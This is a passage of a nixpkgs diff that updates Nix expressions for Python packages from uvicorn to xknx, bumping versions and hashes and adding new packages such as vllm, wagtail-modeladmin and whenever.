@@ -17,16 +17,16 @@ buildPythonPackage rec { pname = "uvicorn"; - version = "0.24.0.post1"; + version = "0.27.1"; disabled = pythonOlder "3.8"; - format = "pyproject"; + pyproject = true; src = fetchFromGitHub { owner = "encode"; repo = pname; rev = "refs/tags/${version}"; - hash = "sha256-WMXOmQOTj/yPazPEAuteho4UH9enXcIa1mMDDl2eaIk="; + hash = "sha256-p0iPQE66RJfd811x6cnv7m3yvD/L9v7evBXlaIQSE0M="; }; outputs = [ diff --git a/pkgs/development/python-modules/vallox-websocket-api/default.nix b/pkgs/development/python-modules/vallox-websocket-api/default.nix index 8d4aaea83371c..22be3621a458b 100644 --- a/pkgs/development/python-modules/vallox-websocket-api/default.nix +++ b/pkgs/development/python-modules/vallox-websocket-api/default.nix @@ -13,16 +13,16 @@ buildPythonPackage rec { pname = "vallox-websocket-api"; - version = "4.1.0"; - format = "pyproject"; + version = "5.1.0"; + pyproject = true; - disabled = pythonOlder "3.8"; + disabled = pythonOlder "3.9"; src = fetchFromGitHub { owner = "yozik04"; repo = "vallox_websocket_api"; rev = "refs/tags/${version}"; - hash = "sha256-w2mke37hYfBCT1W2OUCH5AtrnV3RF4eAgNyUSQlSmcE="; + hash = "sha256-ZYcLoOYwQK1+txiBuCEIDp+tYM3eXFtOSR0iNIrIP0w="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/verlib2/default.nix b/pkgs/development/python-modules/verlib2/default.nix new file mode 100644 index 0000000000000..41c1d95eff25a --- /dev/null +++ b/pkgs/development/python-modules/verlib2/default.nix @@ -0,0 +1,37 @@ +{ lib +, buildPythonPackage +, fetchPypi +, setuptools +, versioningit +}: + +buildPythonPackage rec { + pname = "verlib2"; + version = "0.2.0"; + pyproject = true; + + # This tarball doesn't include tests unfortuneatly, and the GitHub tarball + # could have been an alternative, but versioningit fails to detect the + # version of it correctly, even with setuptools-scm and + # SETUPTOOLS_SCM_PRETEND_VERSION = version added. Since this is a pure Python + # package, we can rely on upstream to run the tests before releasing, and it + # should work for us as well. + src = fetchPypi { + inherit pname version; + hash = "sha256-CrlAh8CU4nFjlI36gXyY1itr3QEibM5RiPjMPNaDRbk="; + }; + + nativeBuildInputs = [ + setuptools + versioningit + ]; + + pythonImportsCheck = [ "verlib2" ]; + + meta = with lib; { + description = "A standalone variant of packaging.version, without anything else"; + homepage = "https://pypi.org/project/verlib2/"; + license = licenses.bsd2; + maintainers = with maintainers; [ doronbehar ]; + }; +} diff --git a/pkgs/development/python-modules/virt-firmware/default.nix b/pkgs/development/python-modules/virt-firmware/default.nix index cd9d2441b9d10..8f2f0c0736098 100644 --- a/pkgs/development/python-modules/virt-firmware/default.nix +++ b/pkgs/development/python-modules/virt-firmware/default.nix @@ -9,13 +9,13 @@ buildPythonPackage rec { pname = "virt-firmware"; - version = "24.1.1"; + version = "24.2"; pyproject = true; src = fetchPypi { inherit pname version; - hash = "sha256-dUDfDQypP8hCo4eZcnUsOovgMksSX7hxMQI8mliCx2c="; + hash = "sha256-bvk3MIgPY6DJ+y0eKQHLffClNjPAEP7AJ15rFObiMig="; }; pythonImportsCheck = [ "virt.firmware.efi" ]; diff --git a/pkgs/development/python-modules/vllm/default.nix b/pkgs/development/python-modules/vllm/default.nix new file mode 100644 index 0000000000000..ce739e1d6dd27 --- /dev/null +++ b/pkgs/development/python-modules/vllm/default.nix @@ -0,0 +1,141 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, fetchpatch +, which +, ninja +, packaging +, setuptools +, torch +, outlines +, wheel +, psutil +, ray +, pandas +, pyarrow +, sentencepiece +, numpy +, transformers +, xformers +, fastapi +, uvicorn +, pydantic +, aioprometheus +, pynvml +, cupy +, writeShellScript + +, config + +, cudaSupport ? config.cudaSupport +, cudaPackages ? {} + +, rocmSupport ? config.rocmSupport +, rocmPackages ? {} +, gpuTargets ? [] +}: + +buildPythonPackage rec { + pname = "vllm"; + version = "0.3.3"; + format = "pyproject"; + + src = fetchFromGitHub { + owner = "vllm-project"; + repo = pname; + rev = "v${version}"; + hash = "sha256-LU5pCPVv+Ws9dL8oWL1sJGzwQKI1IFk2A1I6TP9gXL4="; + }; + + # Otherwise it tries to enumerate host supported ROCM gfx archs, and that is not possible due to sandboxing. + PYTORCH_ROCM_ARCH = lib.optionalString rocmSupport (lib.strings.concatStringsSep ";" rocmPackages.clr.gpuTargets); + + # xformers 0.0.23.post1 github release specifies its version as 0.0.24 + # + # cupy-cuda12x is the same wheel as cupy, but built with cuda dependencies, we already have it set up + # like that in nixpkgs. Version upgrade is due to upstream shenanigans + # https://github.com/vllm-project/vllm/pull/2845/commits/34a0ad7f9bb7880c0daa2992d700df3e01e91363 + # + # hipcc --version works badly on NixOS due to unresolved paths. + postPatch = '' + substituteInPlace requirements.txt \ + --replace "xformers == 0.0.23.post1" "xformers == 0.0.24" + substituteInPlace requirements.txt \ + --replace "cupy-cuda12x == 12.1.0" "cupy == 12.3.0" + substituteInPlace requirements-build.txt \ + --replace "torch==2.1.2" "torch == 2.2.1" + substituteInPlace pyproject.toml \ + --replace "torch == 2.1.2" "torch == 2.2.1" + substituteInPlace requirements.txt \ + --replace "torch == 2.1.2" "torch == 2.2.1" + '' + lib.optionalString rocmSupport '' + substituteInPlace setup.py \ + --replace "'hipcc', '--version'" "'${writeShellScript "hipcc-version-stub" "echo HIP version: 0.0"}'" + ''; + + preBuild = lib.optionalString cudaSupport '' + export CUDA_HOME=${cudaPackages.cuda_nvcc} + '' + + lib.optionalString rocmSupport '' + export ROCM_HOME=${rocmPackages.clr} + export PATH=$PATH:${rocmPackages.hipcc} + ''; + + nativeBuildInputs = [ + ninja + packaging + setuptools + torch + wheel + which + ] ++ lib.optionals rocmSupport [ + rocmPackages.hipcc + ]; + + buildInputs = (lib.optionals cudaSupport (with cudaPackages; [ + cuda_cudart # cuda_runtime.h, -lcudart + cuda_cccl.dev # <thrust/*> + libcusparse.dev # cusparse.h + libcublas.dev # cublas_v2.h + libcusolver # cusolverDn.h + ])) ++ (lib.optionals rocmSupport (with rocmPackages; [ + clr + rocthrust + rocprim + hipsparse + hipblas + ])); + + propagatedBuildInputs = [ + psutil + ray + pandas + pyarrow + sentencepiece + numpy + torch + transformers + outlines + xformers + fastapi + uvicorn + pydantic + aioprometheus + ] ++ uvicorn.optional-dependencies.standard + ++ aioprometheus.optional-dependencies.starlette + ++ lib.optionals cudaSupport [ + pynvml + cupy + ]; + + pythonImportsCheck = [ "vllm" ]; + + meta = with lib; { + description = "A high-throughput and memory-efficient inference and serving engine for LLMs"; + changelog = "https://github.com/vllm-project/vllm/releases/tag/v${version}"; + homepage = "https://github.com/vllm-project/vllm"; + license = licenses.asl20; + maintainers = with maintainers; [ happysalada lach ]; + broken = !cudaSupport && !rocmSupport; + }; +} diff --git a/pkgs/development/python-modules/wagtail-localize/default.nix b/pkgs/development/python-modules/wagtail-localize/default.nix index d90a71ca2582c..bfcfb72d45c67 100644 --- a/pkgs/development/python-modules/wagtail-localize/default.nix +++ b/pkgs/development/python-modules/wagtail-localize/default.nix @@ -12,20 +12,21 @@ , pythonOlder , typing-extensions , wagtail +, wagtail-modeladmin }: buildPythonPackage rec { pname = "wagtail-localize"; - version = "1.7"; - format = "pyproject"; + version = "1.8.2"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchFromGitHub { - repo = pname; + repo = "wagtail-localize"; owner = "wagtail"; rev = "refs/tags/v${version}"; - hash = "sha256-Q29Nh/4Z3tYuwoodWKDl5FS+lfl9yDXN7RHn/RReCds="; + hash = "sha256-DBqGFD6piMn9d7Ls/GBeBfeQty/MDvlQY0GP66BA2QE="; }; nativeBuildInputs = [ @@ -37,6 +38,7 @@ buildPythonPackage rec { wagtail polib typing-extensions + wagtail-modeladmin ]; nativeCheckInputs = [ diff --git a/pkgs/development/python-modules/wagtail-modeladmin/default.nix b/pkgs/development/python-modules/wagtail-modeladmin/default.nix new file mode 100644 index 0000000000000..cf5352238cab9 --- /dev/null +++ b/pkgs/development/python-modules/wagtail-modeladmin/default.nix @@ -0,0 +1,58 @@ +{ lib +, buildPythonPackage +, dj-database-url +, django +, django-rq +, fetchFromGitHub +, flit-core +, freezegun +, google-cloud-translate +, polib +, python +, pythonOlder +, typing-extensions +, wagtail +}: + +buildPythonPackage rec { + pname = "wagtail-modeladmin"; + version = "2.0.0"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + repo = pname; + owner = "wagtail-nest"; + rev = "refs/tags/v${version}"; + hash = "sha256-J6ViGf7lqUvl5EV4/LbADVDp15foY9bUZygs1dSDlKw="; + }; + + nativeBuildInputs = [ + flit-core + ]; + + propagatedBuildInputs = [ + wagtail + ]; + + nativeCheckInputs = [ + dj-database-url + ]; + + pythonImportsCheck = [ "wagtail_modeladmin" ]; + + checkPhase = '' + runHook preCheck + ${python.interpreter} testmanage.py test + runHook postCheck + ''; + + meta = with lib; { + description = "Add any model in your project to the Wagtail admin. Formerly wagtail.contrib.modeladmin"; + homepage = "https://github.com/wagtail-nest/wagtail-modeladmin"; + changelog = "https://github.com/wagtail/wagtail-modeladmin/blob/v${version}/CHANGELOG.md"; + license = licenses.bsd3; + maintainers = with maintainers; [ sephi ]; + }; +} diff --git a/pkgs/development/python-modules/wallbox/default.nix b/pkgs/development/python-modules/wallbox/default.nix index a53344a76fd17..38e2d8a89e00f 100644 --- a/pkgs/development/python-modules/wallbox/default.nix +++ b/pkgs/development/python-modules/wallbox/default.nix @@ -9,14 +9,14 @@ buildPythonPackage rec { pname = "wallbox"; - version = "0.5.1"; + version = "0.6.0"; format = "setuptools"; disabled = pythonOlder "3.7"; src = fetchPypi { inherit pname version; - hash = "sha256-EDEB7/CkrfYSNcSh55Itrj6rThsNKeuj8lHLAY+Qml4="; + hash = "sha256-COZHMkAbTFZKi/b4e6toC4gPj1MPfGN4aBVi6SglrBI="; }; propagatedBuildInputs = [ diff --git a/pkgs/development/python-modules/wcmatch/default.nix b/pkgs/development/python-modules/wcmatch/default.nix index 08b6e1800955a..fa5a75c132683 100644 --- a/pkgs/development/python-modules/wcmatch/default.nix +++ b/pkgs/development/python-modules/wcmatch/default.nix @@ -8,12 +8,12 @@ buildPythonPackage rec { pname = "wcmatch"; - version = "8.5"; + version = "8.5.1"; format = "pyproject"; src = fetchPypi { inherit pname version; - hash = "sha256-hsF1ctD3XL87yxoY878vnnKzmpwIybSnTpkeGIKo77M="; + hash = "sha256-wAiMf2Qmz2vyflMOK3tzQDGQX35JBHX9g8fFAIq1gbM="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/wcwidth/default.nix b/pkgs/development/python-modules/wcwidth/default.nix index ee12162a0632a..52a411b23269b 100644 --- a/pkgs/development/python-modules/wcwidth/default.nix +++ b/pkgs/development/python-modules/wcwidth/default.nix @@ -1,15 +1,21 @@ -{ lib, fetchPypi, buildPythonPackage, pytestCheckHook +{ lib +, buildPythonPackage +, fetchPypi +, pytestCheckHook +, pythonOlder , setuptools }: buildPythonPackage rec { pname = "wcwidth"; - version = "0.2.12"; + version = "0.2.13"; pyproject = true; + disabled = pythonOlder "3.7"; + src = fetchPypi { inherit pname version; - hash = "sha256-8BwQTv31eXG8t1bwVN1Y3exSBN0V+jHWUD6leUfZfAI="; + hash = "sha256-cuoMBjmesobZeP3ttpI6nrR+HEhs5j6bTmT8GDA5crU="; }; nativeBuildInputs = [ @@ -23,6 +29,10 @@ buildPythonPackage rec { # To prevent infinite recursion with pytest doCheck = false; + pythonImportsCheck = [ + "wcwidth" + ]; + meta = with lib; { description = "Measures number of Terminal column cells of wide-character codes"; longDescription = '' @@ -32,6 +42,8 @@ buildPythonPackage rec { no 3rd-party dependencies. ''; homepage = "https://github.com/jquast/wcwidth"; + changelog = "https://github.com/jquast/wcwidth/releases/tag/${version}"; license = licenses.mit; + maintainers = with maintainers; [ ]; }; } diff --git a/pkgs/development/python-modules/weasyprint/default.nix b/pkgs/development/python-modules/weasyprint/default.nix index 99f3ba24f1b2d..403c577d65541 100644 --- a/pkgs/development/python-modules/weasyprint/default.nix +++ b/pkgs/development/python-modules/weasyprint/default.nix @@ -24,15 +24,15 @@ buildPythonPackage rec { pname = "weasyprint"; - version = "60.2"; + version = "61.1"; format = "pyproject"; - disabled = pythonOlder "3.7"; + disabled = pythonOlder "3.8"; src = fetchPypi { inherit version; pname = "weasyprint"; - hash = "sha256-DAzdYXp4aZJiuAAm5n+haS44As+pZjlUNu6vb3h90SY="; + hash = "sha256-fLyCTcQCbYKpc2Jkd1X4N90VeZlJY5zIpCjdM9OFAJo="; }; patches = [ diff --git a/pkgs/development/python-modules/webdriver-manager/default.nix b/pkgs/development/python-modules/webdriver-manager/default.nix new file mode 100644 index 0000000000000..6680fa7eea6b1 --- /dev/null +++ b/pkgs/development/python-modules/webdriver-manager/default.nix @@ -0,0 +1,73 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, packaging +, pybrowsers +, pytestCheckHook +, python-dotenv +, pythonOlder +, requests +, selenium +, setuptools +}: + +buildPythonPackage rec { + pname = "webdriver-manager"; + version = "4.0.1"; + pyproject = true; + + disabled = pythonOlder "3.7"; + + src = fetchFromGitHub { + owner = "SergeyPirogov"; + repo = "webdriver_manager"; + rev = "refs/tags/v${version}"; + hash = "sha256-PdUlloJ4DncnktKQHofn/OLVrgSVyWhaeEEhl3Hgjek="; + }; + + nativeBuildInputs = [ + setuptools + ]; + + propagatedBuildInputs = [ + packaging + python-dotenv + requests + ]; + + nativeCheckInputs = [ + pybrowsers + pytestCheckHook + selenium + ]; + + pythonImportsCheck = [ + "webdriver_manager" + ]; + + disabledTestPaths = [ + # Tests require network access and browsers available + "tests_negative/" + "tests_xdist/" + "tests/test_brave_driver.py" + "tests/test_chrome_driver.py" + "tests/test_chrome_driver.py" + "tests/test_chromium_driver.py" + "tests/test_custom_http_client.py" + "tests/test_downloader.py" + "tests/test_edge_driver.py" + "tests/test_firefox_manager.py" + "tests/test_ie_driver.py" + "tests/test_opera_manager.py" + "tests/test_opera_manager.py" + "tests/test_silent_global_logs.py" + ]; + + meta = with lib; { + description = "Module to manage the binary drivers for different browsers"; + homepage = "https://github.com/SergeyPirogov/webdriver_manager/"; + changelog = "https://github.com/SergeyPirogov/webdriver_manager/blob/${version}/CHANGELOG.md"; + license = licenses.asl20; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/weconnect-mqtt/default.nix b/pkgs/development/python-modules/weconnect-mqtt/default.nix index 3f85f8064899d..5e00ef399e613 100644 --- a/pkgs/development/python-modules/weconnect-mqtt/default.nix +++ b/pkgs/development/python-modules/weconnect-mqtt/default.nix @@ -6,12 +6,13 @@ , paho-mqtt , python-dateutil , weconnect +, setuptools }: buildPythonPackage rec { pname = "weconnect-mqtt"; - version = "0.48.3"; - format = "setuptools"; + version = "0.48.4"; + pyproject = true; disabled = pythonOlder "3.8"; @@ -19,19 +20,23 @@ buildPythonPackage rec { owner = "tillsteinbach"; repo = "WeConnect-mqtt"; rev = "refs/tags/v${version}"; - hash = "sha256-Pja9BP0gbWXTgOokEngNS364tJp1oWJYNKcTxyYJHGw="; + hash = "sha256-Yv6CAGTDi4P9pImLxVk2QkZ014iqQ8UMBUeiyZWnYiQ="; }; postPatch = '' - substituteInPlace requirements.txt \ - --replace "weconnect[Images]~=" "weconnect>=" substituteInPlace weconnect_mqtt/__version.py \ - --replace "develop" "${version}" + --replace-fail "0.0.0dev" "${version}" + substituteInPlace requirements.txt \ + --replace-fail "weconnect[Images]~=" "weconnect>=" substituteInPlace pytest.ini \ - --replace "--cov=weconnect_mqtt --cov-config=.coveragerc --cov-report html" "" \ - --replace "pytest-cov" "" + --replace-fail "--cov=weconnect_mqtt --cov-config=.coveragerc --cov-report html" "" \ + --replace-fail "pytest-cov" "" ''; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ paho-mqtt python-dateutil diff --git a/pkgs/development/python-modules/weconnect/default.nix b/pkgs/development/python-modules/weconnect/default.nix index e9f4877110efe..096e41b89bcc9 100644 --- a/pkgs/development/python-modules/weconnect/default.nix +++ b/pkgs/development/python-modules/weconnect/default.nix @@ -2,18 +2,18 @@ , ascii-magic , buildPythonPackage , fetchFromGitHub +, oauthlib , pillow -, pytest-httpserver , pytestCheckHook , pythonOlder , requests -, oauthlib +, setuptools }: buildPythonPackage rec { pname = "weconnect"; - version = "0.59.5"; - format = "setuptools"; + version = "0.60.2"; + pyproject = true; disabled = pythonOlder "3.8"; @@ -21,9 +21,24 @@ buildPythonPackage rec { owner = "tillsteinbach"; repo = "WeConnect-python"; rev = "refs/tags/v${version}"; - hash = "sha256-ujIA98QD8ds2/iLLeJqn88nY9tZuuOSnOwGvRznA8PQ="; + hash = "sha256-VM4qCe+VMnfKXioUHTjOeBSniwpq44fvbN1k1jG6puk="; }; + postPatch = '' + substituteInPlace weconnect/__version.py \ + --replace-fail "0.0.0dev" "${version}" + substituteInPlace setup.py \ + --replace-fail "setup_requires=SETUP_REQUIRED" "setup_requires=[]" \ + --replace-fail "tests_require=TEST_REQUIRED" "tests_require=[]" + substituteInPlace pytest.ini \ + --replace-fail "--cov=weconnect --cov-config=.coveragerc --cov-report html" "" \ + --replace-fail "required_plugins = pytest-cov" "" + ''; + + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ oauthlib requests @@ -37,24 +52,9 @@ buildPythonPackage rec { }; nativeCheckInputs = [ - pytest-httpserver pytestCheckHook ]; - postPatch = '' - substituteInPlace weconnect/__version.py \ - --replace "develop" "${version}" - substituteInPlace setup.py \ - --replace "setup_requires=SETUP_REQUIRED," "setup_requires=[]," \ - --replace "tests_require=TEST_REQUIRED," "tests_require=[]," - substituteInPlace image_extra_requirements.txt \ - --replace "pillow~=" "pillow>=" \ - --replace "ascii_magic~=" "ascii_magic>=" - substituteInPlace pytest.ini \ - --replace "--cov=weconnect --cov-config=.coveragerc --cov-report html" "" \ - --replace "required_plugins = pytest-httpserver pytest-cov" "" - ''; - pythonImportsCheck = [ "weconnect" ]; diff --git a/pkgs/development/python-modules/wheel-inspect/default.nix b/pkgs/development/python-modules/wheel-inspect/default.nix index 7d79d18f443b6..17195fa67daee 100644 --- a/pkgs/development/python-modules/wheel-inspect/default.nix +++ b/pkgs/development/python-modules/wheel-inspect/default.nix @@ -3,8 +3,10 @@ , buildPythonPackage , entry-points-txt , fetchFromGitHub +, hatchling , headerparser , jsonschema +, pythonRelaxDepsHook , packaging , pytestCheckHook , pythonOlder @@ -15,17 +17,32 @@ buildPythonPackage rec { pname = "wheel-inspect"; version = "1.7.1"; - format = "pyproject"; + pyproject = true; disabled = pythonOlder "3.6"; src = fetchFromGitHub { owner = "jwodder"; - repo = pname; - rev = "v${version}"; + repo = "wheel-inspect"; + rev = "refs/tags/v${version}"; hash = "sha256-pB9Rh+A7GlxnYuka2mTSBoxpoyYCzoaMPVgsHDlpos0="; }; + postPatch = '' + substituteInPlace tox.ini \ + --replace-fail "--cov=wheel_inspect --no-cov-on-fail" "" + ''; + + pythonRelaxDeps = [ + "entry-points-txt" + "headerparser" + ]; + + nativeBuildInputs = [ + hatchling + pythonRelaxDepsHook + ]; + propagatedBuildInputs = [ attrs entry-points-txt @@ -40,13 +57,6 @@ buildPythonPackage rec { pytestCheckHook ]; - postPatch = '' - substituteInPlace tox.ini \ - --replace " --cov=wheel_inspect --no-cov-on-fail" "" - substituteInPlace setup.cfg \ - --replace "entry-points-txt ~= 0.1.0" "entry-points-txt >= 0.1.0" - ''; - pythonImportsCheck = [ "wheel_inspect" ]; @@ -59,6 +69,7 @@ buildPythonPackage rec { meta = with lib; { description = "Extract information from wheels"; homepage = "https://github.com/jwodder/wheel-inspect"; + changelog = "https://github.com/wheelodex/wheel-inspect/releases/tag/v${version}"; license = with licenses; [ mit ]; maintainers = with maintainers; [ ayazhafiz ]; }; diff --git a/pkgs/development/python-modules/whenever/default.nix b/pkgs/development/python-modules/whenever/default.nix new file mode 100644 index 0000000000000..20d05c8bbaf31 --- /dev/null +++ b/pkgs/development/python-modules/whenever/default.nix @@ -0,0 +1,64 @@ +{ lib +, fetchFromGitHub +, pythonOlder +, buildPythonPackage +, poetry-core +, backports-zoneinfo +, tzdata +, pytestCheckHook +, pytest-mypy-plugins +, hypothesis +, freezegun +}: + +buildPythonPackage rec { + pname = "whenever"; + version = "0.3.4"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "ariebovenberg"; + repo = "whenever"; + rev = version; + hash = "sha256-pVbR9KYothEPJUhvFA3hDnLcKp7hvU8ntxvkYrKxQfQ="; + }; + + postPatch = '' + # unrecognized arguments since we don't use pytest-benchmark in nixpkgs + substituteInPlace pytest.ini \ + --replace-fail '--benchmark-disable' '#--benchmark-disable' + ''; + + nativeBuildInputs = [ + poetry-core + ]; + + propagatedBuildInputs = [ + tzdata + ] ++ lib.optionals (pythonOlder "3.9") [ + backports-zoneinfo + ]; + + pythonImportsCheck = [ "whenever" ]; + + nativeCheckInputs = [ + pytestCheckHook + pytest-mypy-plugins + hypothesis + freezegun + ]; + + # early TDD, many tests are failing + # TODO: try enabling on bump + doCheck = false; + + meta = with lib; { + description = "Strict, predictable, and typed datetimes"; + homepage = "https://github.com/ariebovenberg/whenever"; + changelog = "https://github.com/ariebovenberg/whenever/blob/${src.rev}/CHANGELOG.rst"; + license = licenses.mit; + maintainers = with maintainers; [ pbsds ]; + }; +} diff --git a/pkgs/development/python-modules/whoisdomain/default.nix b/pkgs/development/python-modules/whoisdomain/default.nix new file mode 100644 index 0000000000000..08dd213c3bece --- /dev/null +++ b/pkgs/development/python-modules/whoisdomain/default.nix @@ -0,0 +1,40 @@ +{ lib +, buildPythonPackage +, fetchFromGitHub +, hatchling +, pythonOlder +}: + +buildPythonPackage rec { + pname = "whoisdomain"; + version = "1.20240129.1"; + pyproject = true; + + disabled = pythonOlder "3.7"; + + src = fetchFromGitHub { + owner = "mboot-github"; + repo = "WhoisDomain"; + rev = "refs/tags/${version}"; + hash = "sha256-nRj/WkYjMZuQoYF+QFIHABlek4DxvvEnOTeFYLHYvZc="; + }; + + nativeBuildInputs = [ + hatchling + ]; + + pythonImportsCheck = [ + "whoisdomain" + ]; + + # Tests require network access + doCheck = false; + + meta = with lib; { + description = "Module to perform whois lookups"; + homepage = "https://github.com/mboot-github/WhoisDomain"; + changelog = "https://github.com/mboot-github/WhoisDomain/releases/tag/${version}"; + license = licenses.mit; + maintainers = with maintainers; [ fab ]; + }; +} diff --git a/pkgs/development/python-modules/wikipedia2vec/default.nix b/pkgs/development/python-modules/wikipedia2vec/default.nix new file mode 100644 index 0000000000000..f28addf30f4f0 --- /dev/null +++ b/pkgs/development/python-modules/wikipedia2vec/default.nix @@ -0,0 +1,65 @@ +{ lib +, buildPythonPackage +, click +, cython_3 +, fetchFromGitHub +, jieba +, joblib +, lmdb +, marisa-trie +, mwparserfromhell +, numpy +, pythonOlder +, scipy +, setuptools +, tqdm +}: + +buildPythonPackage rec { + pname = "wikipedia2vec"; + version = "2.0.0"; + pyproject = true; + + disabled = pythonOlder "3.8"; + + src = fetchFromGitHub { + owner = "wikipedia2vec"; + repo = "wikipedia2vec"; + rev = "refs/tags/v${version}"; + hash = "sha256-vrBLlNm0bVIStSBWDHRCtuRpazu8JMCtBl4qJPtHGvU="; + }; + + nativeBuildInputs = [ + cython_3 + setuptools + ]; + + propagatedBuildInputs = [ + click + cython_3 + jieba + joblib + lmdb + marisa-trie + mwparserfromhell + numpy + scipy + tqdm + ]; + + preBuild = '' + bash cythonize.sh + ''; + + pythonImportsCheck = [ + "wikipedia2vec" + ]; + + meta = with lib; { + description = "Tool for learning vector representations of words and entities from Wikipedia"; + homepage = "https://wikipedia2vec.github.io/wikipedia2vec/"; + changelog = "https://github.com/wikipedia2vec/wikipedia2vec/releases/tag/v${version}"; + license = licenses.asl20; + maintainers = with maintainers; [ derdennisop ]; + }; +} diff --git a/pkgs/development/python-modules/wsgi-intercept/default.nix b/pkgs/development/python-modules/wsgi-intercept/default.nix index 6e943a0b34f7a..fcc8551f72942 100644 --- a/pkgs/development/python-modules/wsgi-intercept/default.nix +++ b/pkgs/development/python-modules/wsgi-intercept/default.nix @@ -7,22 +7,27 @@ , pytestCheckHook , pythonOlder , requests +, setuptools , urllib3 }: buildPythonPackage rec { pname = "wsgi-intercept"; - version = "1.12.1"; - format = "setuptools"; + version = "1.13.0"; + pyproject = true; disabled = pythonOlder "3.7"; src = fetchPypi { pname = "wsgi_intercept"; inherit version; - hash = "sha256-StUxEN91fU7qoptH9iKJFpZWIBIOtIe6S4gvdBgN48E="; + hash = "sha256-daA+HQHdtCAC+1a4Ss0qeo7OJe/dIGREoTqfH7z6k0w="; }; + nativeBuildInputs = [ + setuptools + ]; + propagatedBuildInputs = [ six ]; @@ -36,6 +41,9 @@ buildPythonPackage rec { ]; disabledTests = [ + # Tests require network access + "test_urllib3" + "test_requests" "test_http_not_intercepted" "test_https_not_intercepted" "test_https_no_ssl_verification_not_intercepted" @@ -49,6 +57,6 @@ buildPythonPackage rec { description = "Module that acts as a WSGI application in place of a real URI for testing"; homepage = "https://github.com/cdent/wsgi-intercept"; license = licenses.mit; - maintainers = with maintainers; [ ]; + maintainers = with maintainers; [ mikecm ]; }; } diff --git a/pkgs/development/python-modules/wyoming/default.nix b/pkgs/development/python-modules/wyoming/default.nix index debc6ad7bba1f..e711079315803 100644 --- a/pkgs/development/python-modules/wyoming/default.nix +++ b/pkgs/development/python-modules/wyoming/default.nix @@ -16,14 +16,14 @@ buildPythonPackage rec { pname = "wyoming"; - version = "1.5.2"; + version = "1.5.3"; pyproject = true; src = fetchFromGitHub { owner = "rhasspy"; repo = "wyoming"; rev = "refs/tags/${version}"; - hash = "sha256-2bc5coKL5KlTeL9fdghPmRF66NXfimHOKGtE2yPXgrA="; + hash = "sha256-SOPkvFMjoDQiWVP39+1Cx4fFmPH8wcBhZhaKapdZaeA="; }; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/xattr/default.nix b/pkgs/development/python-modules/xattr/default.nix index 9cc0ec2254c7c..3ef8332cae216 100644 --- a/pkgs/development/python-modules/xattr/default.nix +++ b/pkgs/development/python-modules/xattr/default.nix @@ -3,28 +3,34 @@ , fetchPypi , python , cffi +, setuptools , pythonOlder }: buildPythonPackage rec { pname = "xattr"; - version = "1.0.0"; - format = "setuptools"; + version = "1.1.0"; + pyproject = true; disabled = pythonOlder "3.8"; src = fetchPypi { inherit pname version; - hash = "sha256-osfLLvRBv2eeJAtl4gXwij7jFeGQ/qVnPmD9aBLmNKU="; + hash = "sha256-/svzsFBD7TSHooGQ3sPkxNh5svzsDjC6/Y7F1LYENjA="; }; - propagatedBuildInputs = [ + nativeBuildInputs = [ cffi + setuptools ]; # https://github.com/xattr/xattr/issues/43 doCheck = false; + propagatedBuildInputs = [ + cffi + ]; + postBuild = '' ${python.pythonOnBuildForHost.interpreter} -m compileall -f xattr ''; diff --git a/pkgs/development/python-modules/xiaomi-ble/default.nix b/pkgs/development/python-modules/xiaomi-ble/default.nix index 6e2ac49cc348c..18de691f53983 100644 --- a/pkgs/development/python-modules/xiaomi-ble/default.nix +++ b/pkgs/development/python-modules/xiaomi-ble/default.nix @@ -17,21 +17,21 @@ buildPythonPackage rec { pname = "xiaomi-ble"; - version = "0.25.2"; - format = "pyproject"; + version = "0.26.1"; + pyproject = true; disabled = pythonOlder "3.9"; src = fetchFromGitHub { owner = "Bluetooth-Devices"; - repo = pname; + repo = "xiaomi-ble"; rev = "refs/tags/v${version}"; - hash = "sha256-awztZiUgEMGR8m/aXhDBLdm4IXIKIAHgX922m+PTTfg="; + hash = "sha256-ENs+n8YgOSQpN+UpYU6CI1McWPyh8hKKMUjPDUYRWjI="; }; postPatch = '' substituteInPlace pyproject.toml \ - --replace " --cov=xiaomi_ble --cov-report=term-missing:skip-covered" "" + --replace-fail " --cov=xiaomi_ble --cov-report=term-missing:skip-covered" "" ''; nativeBuildInputs = [ diff --git a/pkgs/development/python-modules/xknx/default.nix b/pkgs/development/python-modules/xknx/default.nix index 91721fdd169aa..498be7f69303c 100644 --- a/pkgs/development/python-modules/xknx/default.nix +++ b/pkgs/development/python-modules/xknx/default.nix @@ -4,16 +4,15 @@ , fetchFromGitHub , cryptography , ifaddr -, pytest-asyncio +, pytest-asyncio_0_21 , pytestCheckHook , pythonOlder , setuptools -, wheel }: buildPythonPackage rec { pname = "xknx"; - version = "2.12.0"; + version = "2.12.2"; pyproject = true; disabled = pythonOlder "3.8"; @@ -22,12 +21,11 @@ buildPythonPackage rec { owner = "XKNX"; repo = "xknx"; rev = "refs/tags/${version}"; - hash = "sha256-Fwo76tvkLLx8QJeokuGohhnt83eGBMyWIUSHJGuQWJ4="; + hash = "sha256-gajxXIR3lmHsW7258v4z20RilzGfm5KGVrXZwRm74Mk="; }; nativeBuildInputs = [ setuptools - wheel ]; propagatedBuildInputs = [ @@ -37,7 +35,7 @@ buildPythonPackage rec { ]; nativeCheckInputs = [ - pytest-asyncio + pytest-asyncio_0_21 pytestCheckHook ]; @@ -50,6 +48,15 @@ buildPythonPackage rec { "test_scan_timeout" "test_start_secure_routing_knx_keys" "test_start_secure_routing_manual" + # RuntimeError: Event loop is closed + "test_has_group_address_localtime" + "test_invalid_authentication" + "test_invalid_frames" + "test_no_authentication" + "test_process_read_localtime" + "test_sync_date" + "test_sync_datetime" + "test_sync_time_local" ]; meta = with lib; { diff --git a/pkgs/development/python-modules/xknxproject/default.nix b/pkgs/development/python-modules/xknxproject/default.nix index f5e47f196dcac..1b0098629a92e 100644 --- a/pkgs/development/python-modules/xknxproject/default.nix +++ b/pkgs/development/python-modules/xknxproject/default.nix @@ 